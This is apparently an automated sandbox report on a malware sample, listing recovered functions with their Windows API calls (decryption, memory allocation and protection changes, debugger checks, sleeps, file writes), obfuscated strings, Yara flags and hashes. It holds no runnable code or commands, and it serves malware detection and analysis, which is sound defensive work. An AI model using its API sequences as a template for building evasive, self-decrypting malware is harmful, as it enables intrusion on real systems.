Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 51baef39f8712e3c962c42c17cb56c32fa66d4279d62b7c7599e975f33ebcb9d
Instruction ID: 67797f44d9d46dd495823d9566bad27c4dc507fd550e6630b3786a266b8fea83
Opcode Fuzzy Hash: 51baef39f8712e3c962c42c17cb56c32fa66d4279d62b7c7599e975f33ebcb9d
Instruction Fuzzy Hash: A0D09E31000108FBCF11AF61DC0D8CD3F26AF40355B008035BD0945131DFB59DD69E48

Function 009B38E1 Relevance: 3.1, APIs: 2, Instructions: 67
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyA.ADVAPI32(80000002,?,?), ref: 009B3981
GetNativeSystemInfo.KERNEL32(?), ref: 009B39D8

Memory Dump Source

Source File: 00000000.00000002.2403256104.00000000009AE000.00000040.00000001.01000000.00000003.sdmp, Offset: 009AE000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9ae000_file.jbxd

Similarity

API ID: InfoNativeOpenSystem
String ID:
API String ID: 2808845718-0
Opcode ID: c8390ee45e20b4f29856fa4d0e0105b8eec515d58ec732450a9ff55faf6f5793
Instruction ID: d74d0319f6766d7152d7dcdbcaa5d180992bd8ab1f6b229613e455681026d226
Opcode Fuzzy Hash: c8390ee45e20b4f29856fa4d0e0105b8eec515d58ec732450a9ff55faf6f5793
Instruction Fuzzy Hash: 65217AB110860ADFEB11EF60C9496EE7BE9FF01320F16482DD8C186901D7B99CA4DF0A

Function 004132B1 Relevance: 3.0, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,00418A2B,00000000,00000000,00000000,?,00418A50,00000000,00000007,00000000,?,00418D2F,00000000,00000000), ref: 004132C7
GetLastError.KERNEL32(00000000,?,00418A2B,00000000,00000000,00000000,?,00418A50,00000000,00000007,00000000,?,00418D2F,00000000,00000000), ref: 004132D2

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 57565e6569af0ee8b6bc535b15a06f29f01c2303c5bd8ca1e852723f0256f5c9
Instruction ID: d8d9c1c0f29fd1ae3c391d4f931883298020c9469a54bb124b4f82b2896bf902
Opcode Fuzzy Hash: 57565e6569af0ee8b6bc535b15a06f29f01c2303c5bd8ca1e852723f0256f5c9
Instruction Fuzzy Hash: E6E0E6356002146BCB113FB5AC097D57F68AB44759F114076F60C96161D6398996879C

Function 04B50E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000400,?,?,04B50223,?,?), ref: 04B50E19
SetErrorMode.KERNEL32(00000000,?,?,04B50223,?,?), ref: 04B50E1E

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 4912d90d3747dd0a2895d6015fe2bffc848cfeb5036af8c0e2bdc930983e63eb
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 37D0123154512877D7003A94DC09BCDBB1CDF09B62F108451FB0DD9080C770954046E5

Function 00413C79 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00402809,00402805,?,0040AD1B,0040280B,00402805,0042D884,?,?,00403597,?,00402809,00402805), ref: 00413CAB

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0317c977ae3de03b4a355117f1d18651feb64bc701aa808cd4791dde922aff94
Instruction ID: d9d624181c4160d02ab49c773ca7be82655902724fa9057d6622eb650e71da69
Opcode Fuzzy Hash: 0317c977ae3de03b4a355117f1d18651feb64bc701aa808cd4791dde922aff94
Instruction Fuzzy Hash: BAE0E53350013057D6213F668C007DB7A4C9F413A2F180167EC18B62D0FA6CCE8141ED

Function 100079EE Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,10001F83,?,?,10002743,10001F83,?,10001F83,0007A120), ref: 10007A20

Memory Dump Source

Source File: 00000000.00000002.2405853612.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2405839277.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405871373.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2405886826.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f1ff2abc0f9b0129279cb81424fa89791b5c74a503f020079eb334c9f6e41783
Instruction ID: 0f7b013f9e5e8caa32c185eac4a395cd376aa25861a87a311eefda30a96e0e36
Opcode Fuzzy Hash: f1ff2abc0f9b0129279cb81424fa89791b5c74a503f020079eb334c9f6e41783
Instruction Fuzzy Hash: 2FE0A035B0012266F711EA698C00B8F3A89FB832F0F124120AC489209ADA68DE0181E2

Function 00AB2C59 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?), ref: 00AB2C78

Memory Dump Source

Source File: 00000000.00000002.2403256104.0000000000AB2000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AB2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ab2000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 3daa0c303fca0f543af3edd033a028d9fd14009ee2efde9103e30b7348563765
Instruction ID: b0fa5f4c71ce50608f9f70a3e140c0e088b4c686a17ea3d9eb8658573d3b095e
Opcode Fuzzy Hash: 3daa0c303fca0f543af3edd033a028d9fd14009ee2efde9103e30b7348563765
Instruction Fuzzy Hash: 28E07535A0115E9FDB01DF54D485ACF7B65EF59340F7086419D4043F69C676AD21CF88

Function 00EECE9D Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 00EECEEE

Memory Dump Source

Source File: 00000000.00000002.2403918298.0000000000EEC000.00000040.00000020.00020000.00000000.sdmp, Offset: 00EEC000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_eec000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 656134f90d54860ea2eb4614d7b841fe0a2f1da49adf052623a44aa3e55f4c4b
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 3F112B79A00208EFDB01DF99C985E98BBF5AF08351F158094F948AB362E371EA50DB80

Function 00402E30 Relevance: 1.3, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 00402E3F

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9b7f6f3ca0983af9e8fdb80d9d56c3a0869d2f15b64f49a49faae6a606d2425e
Instruction ID: eb79ea19b3e1abf3f5b24c483eecae43203cd8e5c5511bfeef65b24117358006
Opcode Fuzzy Hash: 9b7f6f3ca0983af9e8fdb80d9d56c3a0869d2f15b64f49a49faae6a606d2425e
Instruction Fuzzy Hash: 17C0483200020DFBCF025FD1EC048DA7F2AFB09260B00C020FA1844032C773A931ABA5

Function 00402E50 Relevance: 1.3, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 00402E5C

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: c340e0d22e4fb20872e2675f8e927c09d9f86923da33760a30bf271b1d9be8d1
Instruction ID: a3fa6bbe5c1a250ebea8c2fc35f655263c95a0ace9f7750fc45cf9fcc5ecde2d
Opcode Fuzzy Hash: c340e0d22e4fb20872e2675f8e927c09d9f86923da33760a30bf271b1d9be8d1
Instruction Fuzzy Hash: 5CB0923204020CFBCF025F81EC048D93F6AFB0C261B408020FA1C44031C7339675AB84

Non-executed Functions

Function 04B53F87 Relevance: 43.8, APIs: 20, Strings: 4, Instructions: 1839sleepcomCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000104,?,0042C014,0041F068,00000000), ref: 04B53FF1
Sleep.KERNEL32(000003E8), ref: 04B54189
__Init_thread_footer.LIBCMT ref: 04B5475E
__Init_thread_footer.LIBCMT ref: 04B54924
SHGetFolderPathA.SHELL32(00000000,00000000,00000000,00000000,?,00000000,?,04B56D08,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D), ref: 04B54B2E
__Init_thread_footer.LIBCMT ref: 04B54BBC
__Init_thread_footer.LIBCMT ref: 04B54E25
CoInitialize.OLE32(00000000), ref: 04B54EA6
CoCreateInstance.COMBASE(0041F290,00000000,00000001,0041F260,?), ref: 04B54EC1
__Init_thread_footer.LIBCMT ref: 04B55324
Sleep.KERNEL32(00000BB8,00000000,?,04B56CE8,0041D8A0,0042DB20,0042DB21), ref: 04B5553C
__Init_thread_footer.LIBCMT ref: 04B55632
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,?,00000104,?,04B56D08,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D), ref: 04B54F2F

Part of subcall function 04B60A49: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,04B55CE6,00000000,0042C014), ref: 04B60A5E
Part of subcall function 04B60A49: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04B60A7D

__Init_thread_footer.LIBCMT ref: 04B5428D

Part of subcall function 04B59EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EAC
Part of subcall function 04B59EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59EDF

Part of subcall function 04B52457: CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 04B5248D
Part of subcall function 04B52457: WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 04B524AE
Part of subcall function 04B52457: CloseHandle.KERNEL32(00000000), ref: 04B524B5

__Init_thread_footer.LIBCMT ref: 04B54469

Part of subcall function 04B59EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EF7
Part of subcall function 04B59EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59F34

Strings

]DFE, xrefs: 04B548A7
KDOX, xrefs: 04B54B4B
^OX*, xrefs: 04B54DD2
viFO, xrefs: 04B54B41

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: Init_thread_footer$CriticalSection$File$CreateEnterLeavePathSleepTime$ByteCharCloseFolderHandleInitializeInstanceMultiSystemTempUnothrow_t@std@@@WideWrite__ehfuncinfo$??2@
String ID: KDOX$]DFE$^OX*$viFO
API String ID: 529012138-4238671514
Opcode ID: d653516d6fcac4cfb1a3aecc6086a08e4b36a7bab3ac3c77805d5c8949ef4ee8
Instruction ID: 5a9771f451b435d1f4eef1d856df3c4dca986a309533f201dafbf6e95270ee00
Opcode Fuzzy Hash: d653516d6fcac4cfb1a3aecc6086a08e4b36a7bab3ac3c77805d5c8949ef4ee8
Instruction Fuzzy Hash: 09F2E1B0E042589BEB24DF24CC48BADBBB1EF45304F5442E8D8096B2A1DB75BAC5CF55

Function 04D13120 Relevance: 22.8, APIs: 8, Strings: 4, Instructions: 1839COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D13426
__Init_thread_footer.LIBCMT ref: 04D13602
__Init_thread_footer.LIBCMT ref: 04D138F7
__Init_thread_footer.LIBCMT ref: 04D13ABD
__Init_thread_footer.LIBCMT ref: 04D144BD
__Init_thread_footer.LIBCMT ref: 04D147CB
__Init_thread_footer.LIBCMT ref: 04D13D55

Part of subcall function 04D1FBE2: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04D1FC16

__Init_thread_footer.LIBCMT ref: 04D13FBE

Strings

KDOX, xrefs: 04D13CE4
^OX*, xrefs: 04D13F6B
viFO, xrefs: 04D13CDA
]DFE, xrefs: 04D13A40

Memory Dump Source

Source File: 00000000.00000003.1798730162.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID: Init_thread_footer$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: KDOX$]DFE$^OX*$viFO
API String ID: 829385169-4238671514
Opcode ID: d653516d6fcac4cfb1a3aecc6086a08e4b36a7bab3ac3c77805d5c8949ef4ee8
Instruction ID: 6b126a8e3cf2cf0b3ee7acafd56f50c30700eccdb62b8413fc38f00805102867
Opcode Fuzzy Hash: d653516d6fcac4cfb1a3aecc6086a08e4b36a7bab3ac3c77805d5c8949ef4ee8
Instruction Fuzzy Hash: C4F2F2B0E04214AFEB24DF24EC58B9DBBB1EF45304F5442D8E8096B2A1DB74BA85CF55

Function 04B53817 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 225encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,?,00000018,F0000000,0042C014), ref: 04B53897
CryptCreateHash.ADVAPI32(?,0000800C,00000000,00000000,?), ref: 04B538BB
CryptHashData.ADVAPI32(?,00000000,?,00000000), ref: 04B53925
GetLastError.KERNEL32 ref: 04B5392F
CryptDeriveKey.ADVAPI32(?,0000660E,?,00000000,?), ref: 04B53957
GetLastError.KERNEL32 ref: 04B53961
CryptReleaseContext.ADVAPI32(?,00000000), ref: 04B53971
CryptDecrypt.ADVAPI32(?,00000000,00000000,00000000,?,00000000), ref: 04B53A33
CryptDestroyKey.ADVAPI32(?), ref: 04B53AA5

Strings

Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 04B53873

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: Crypt$ContextErrorHashLast$AcquireCreateDataDecryptDeriveDestroyRelease
String ID: Microsoft Enhanced RSA and AES Cryptographic Provider
API String ID: 3761881897-63410773
Opcode ID: 40fbdad3a39ca36db9715c34553cb7c87d5092a534739f652b7b7891191c3091
Instruction ID: b9e00f42f3ddc4c18172ed2dc505a712a2370bb8d55e15788e86f7b8d799e1fd
Opcode Fuzzy Hash: 40fbdad3a39ca36db9715c34553cb7c87d5092a534739f652b7b7891191c3091
Instruction Fuzzy Hash: 5C816F71A002189FEF249F24CC45B9EBBB5EF49340F1481E9E94DE72A1DB31AE858F51

Function 04B551B7 Relevance: 12.9, APIs: 5, Strings: 2, Instructions: 621sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 04B60A49: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,04B55CE6,00000000,0042C014), ref: 04B60A5E
Part of subcall function 04B60A49: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04B60A7D

Part of subcall function 04B59EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B59EF7
Part of subcall function 04B59EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B59F34

__Init_thread_footer.LIBCMT ref: 04B55324
Sleep.KERNEL32(00000BB8,00000000,?,04B56CE8,0041D8A0,0042DB20,0042DB21), ref: 04B5553C
__Init_thread_footer.LIBCMT ref: 04B55632
Sleep.KERNEL32(000007D0), ref: 04B5599C
Sleep.KERNEL32(000007D0), ref: 04B559B6

Strings

DFEK, xrefs: 04B555C3
updateSW, xrefs: 04B558C2

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID: Sleep$CriticalInit_thread_footerSectionTime$EnterFileLeaveSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: DFEK$updateSW
API String ID: 3554146954-1114742100
Opcode ID: 77110f7e8cc78f45bd0e6b43112bb3db69cfffe81fb6a3c2c0fb0262c7cc4dea
Instruction ID: c617746ff058f46fdfd794ad48d793e290808aaa42e9f5f038b76497f4876a59
Opcode Fuzzy Hash: 77110f7e8cc78f45bd0e6b43112bb3db69cfffe81fb6a3c2c0fb0262c7cc4dea
Instruction Fuzzy Hash: E63223B1E002549BEF28DF24CC887ADFBB0EF45304F1442E9D8096B2A5DB75AA85CF55

Function 0099DA9C Relevance: 11.6, Strings: 8, Instructions: 1638COMMON

Download Yara Rule

Strings

SvG|, xrefs: 0099DD34
QTuj, xrefs: 0099E6EC
p8n, xrefs: 0099E30E
4>, xrefs: 0099EB39
{d?^, xrefs: 0099DBF4
3Qw?, xrefs: 0099E956
aB_?, xrefs: 0099DE91
QTuj, xrefs: 0099E78D

Memory Dump Source

Source File: 00000000.00000002.2403256104.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: 4>$3Qw?$QTuj$QTuj$SvG|$aB_?$p8n${d?^
API String ID: 0-1748461364
Opcode ID: 686663cd5f2e25b44bf315f0db390b43e95679e82c614b13b89e34ddb2f52690
Instruction ID: c58abb16ca8ca6c78b7bc26bc4d107760e55d519cef8955c28258f88fbf72a27
Opcode Fuzzy Hash: 686663cd5f2e25b44bf315f0db390b43e95679e82c614b13b89e34ddb2f52690
Instruction Fuzzy Hash: 3CB2E4F360C204AFE3046E2DEC8577ABBE9EF94720F1A493DE6C4C3744E63598058696

Function 00991EBE Relevance: 11.6, Strings: 8, Instructions: 1611COMMON

Download Yara Rule

Strings

f\?o, xrefs: 00992ABE
]*Mm, xrefs: 00992BB0
^n>=, xrefs: 009930B0
T|c, xrefs: 0099238E, 00992455
XK;O, xrefs: 009927A0
LzSn, xrefs: 00992F61
{&/, xrefs: 0099227B
4W~, xrefs: 00991FDA

Memory Dump Source

Source File: 00000000.00000002.2403256104.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: 4W~$LzSn$T|c$XK;O$]*Mm$^n>=$f\?o${&/
API String ID: 0-1349883405
Opcode ID: 3bdb33a9bf0976aa5d691ed19db7dd3d7b383b53edd24a9ad3927e653c752690
Instruction ID: 6701cf0a66e994f86c80a6d9c372153b378242eb8136039ffea97e9d0f17c76f
Opcode Fuzzy Hash: 3bdb33a9bf0976aa5d691ed19db7dd3d7b383b53edd24a9ad3927e653c752690
Instruction Fuzzy Hash: EAB2E5F3A0C2149FE7046E29DC8567AFBE9EF94720F1A492DEAC4C3744EA7558008797

Function 04D14350 Relevance: 10.4, APIs: 3, Strings: 2, Instructions: 1645COMMON

Download Yara Rule

APIs

Part of subcall function 04D1FBE2: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04D1FC16

__Init_thread_footer.LIBCMT ref: 04D144BD
__Init_thread_footer.LIBCMT ref: 04D147CB

Strings

U%, xrefs: 04D15D16
DFEK, xrefs: 04D1475C

Memory Dump Source

Source File: 00000000.00000003.1798730162.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d10000_file.jbxd

Similarity

API ID: Init_thread_footer$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: DFEK$U%
API String ID: 829385169-3435397596
Opcode ID: 41cbdf90dec37eb52b954d10541310d96c062ecf6e52845e935639f857fb7cc0
Instruction ID: 69ef438ec87cdf691f7dd43d8cea8ea14e4fc7077550544f0f964fe9cd1ba39c
Opcode Fuzzy Hash: 41cbdf90dec37eb52b954d10541310d96c062ecf6e52845e935639f857fb7cc0
Instruction Fuzzy Hash: CAD24871E00114ABEB15EF24EC547EDBBB5EF44308F5441A9EC096B2A1DB34BE85CBA1

Function 0041A306 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1473COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0041A51D

Strings

1#IND, xrefs: 0041A40B
1#QNAN, xrefs: 0041A419
1#INF, xrefs: 0041A43C
1#SNAN, xrefs: 0041A412

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: e4a2af43c5bc17daceace0d9627c377d7fa11afa99750231fbf68f24f9a3cb98
Instruction ID: 71a107362d346717e648338213b5422f70619b5b18563a803cf0c70334ea4234
Opcode Fuzzy Hash: e4a2af43c5bc17daceace0d9627c377d7fa11afa99750231fbf68f24f9a3cb98
Instruction Fuzzy Hash: 78D22771E092288FDB65CE28DD407EAB7B5EB44314F1441EAD44DE7240E778AEC58F86

Function 0040CDA3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,(@), ref: 0040CE9B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,(@), ref: 0040CEA5
UnhandledExceptionFilter.KERNEL32(004024E3,?,?,?,?,?,(@), ref: 0040CEB2

Strings

(@, xrefs: 0040CDBC

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID: (@
API String ID: 3906539128-3675327911
Opcode ID: 699cb89c4481d733bc24bc723ff59a4702c04dd7a22af15121b47e74e86c8d00
Instruction ID: 588a31918c4d7a6a9ba75f52031696ab4f5dbddd8307c033202189b188a5c7dc
Opcode Fuzzy Hash: 699cb89c4481d733bc24bc723ff59a4702c04dd7a22af15121b47e74e86c8d00
Instruction Fuzzy Hash: 5E31C475911228ABCB21DF65D8897CDBBB4AF08310F5081EAE40CA7291E7749F858F48

Function 0099397E Relevance: 6.6, Strings: 4, Instructions: 1614COMMON

Download Yara Rule

Strings

w@Ng, xrefs: 00993F13
/Pwu, xrefs: 0099415E
2Zi, xrefs: 00994B5A
=g, xrefs: 00993D8D

Memory Dump Source

Source File: 00000000.00000002.2403256104.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: /Pwu$2Zi$w@Ng$=g
API String ID: 0-883151016
Opcode ID: fe2d97029f8366f4d48a2573faf353e2a00fbeff0a25a062ce709f16a5b71c67
Instruction ID: c0fe20aac6f1891b3b6a0a877f0832eba2b2ada2044f83e3feeda496b5d7c393
Opcode Fuzzy Hash: fe2d97029f8366f4d48a2573faf353e2a00fbeff0a25a062ce709f16a5b71c67
Instruction Fuzzy Hash: 84B205F360C6049FE308AE2DEC8567AF7E9EF94320F16493DE6C5C3744EA3598058696

Function 00998A27 Relevance: 6.6, Strings: 4, Instructions: 1572COMMON

Download Yara Rule

Strings

=O?, xrefs: 00998B8F
OGW}, xrefs: 00999230
9O?, xrefs: 00998B94
X#5v, xrefs: 00998DBE

Memory Dump Source

Source File: 00000000.00000002.2403256104.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: 9O?$=O?$OGW}$X#5v
API String ID: 0-2169119887
Opcode ID: 1eeeadf278672b0fa57b8c60d58dedb9803c19156b9ab30cf907917012008039
Instruction ID: a2897e77f1d92ae2c4828dc97f10b3c15ec6694f08f787d2d1e2252e7892c1ed
Opcode Fuzzy Hash: 1eeeadf278672b0fa57b8c60d58dedb9803c19156b9ab30cf907917012008039
Instruction Fuzzy Hash: C4B214F360C2049FE308AF29EC8567AFBE5EF94320F1A893DE6C587744E63558448697

Function 0099A491 Relevance: 6.6, Strings: 4, Instructions: 1571COMMON

Download Yara Rule

Strings

"({g, xrefs: 0099AFA2
l9Ne, xrefs: 0099B3EB
YVk, xrefs: 0099B717
Kou, xrefs: 0099B4B6

Memory Dump Source

Source File: 00000000.00000002.2403256104.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: Kou$"({g$YVk$l9Ne
API String ID: 0-2260313330
Opcode ID: a010f80ee3cbc47cbc965e2b1c88eb3fcfba0243e9ef3ccb62af006b20911b03
Instruction ID: f88b75a162f00d8f4898621b539204f4ba04b266761537a607764c44dd7e7794
Opcode Fuzzy Hash: a010f80ee3cbc47cbc965e2b1c88eb3fcfba0243e9ef3ccb62af006b20911b03
Instruction Fuzzy Hash: E4B2D5F3A0C2009FE714AE29EC8567AFBE5EF94720F16493DEAC4C7340E63598158697

Function 009954B8 Relevance: 6.6, Strings: 4, Instructions: 1566COMMON

Download Yara Rule

Strings

1lgQ, xrefs: 009960AF
f:z~, xrefs: 009965C9
@7~, xrefs: 00995571
ro{o, xrefs: 00996544

Memory Dump Source

Source File: 00000000.00000002.2403256104.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: 1lgQ$f:z~$ro{o$@7~
API String ID: 0-1349547136
Opcode ID: f4aed68377ffcbfd209f9b534cb7835b6b70efaf3f3c2ce1a1b0407c79e28fa6
Instruction ID: ade979e2ce4ca896bcefc48d0b204ca81652aca78c13569f148930dc469b0f6d
Opcode Fuzzy Hash: f4aed68377ffcbfd209f9b534cb7835b6b70efaf3f3c2ce1a1b0407c79e28fa6
Instruction Fuzzy Hash: 5CB227F360C2009FE704AE2DEC8567ABBE6EF98720F16493DE6C4C3744EA3558458697

Function 00410900 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2403064717.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction ID: 1698085c936ca5c6c6a57ee88efec3ce2b030c017204745a192f91a5fd5d0df0
Opcode Fuzzy Hash: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction Fuzzy Hash: 8A025C71E002199BDF14CFA9D9806EEBBF1FF48314F24826AE919E7341D775A9818B84

Function 04B60B67 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2405026187.0000000004B50000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b50000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
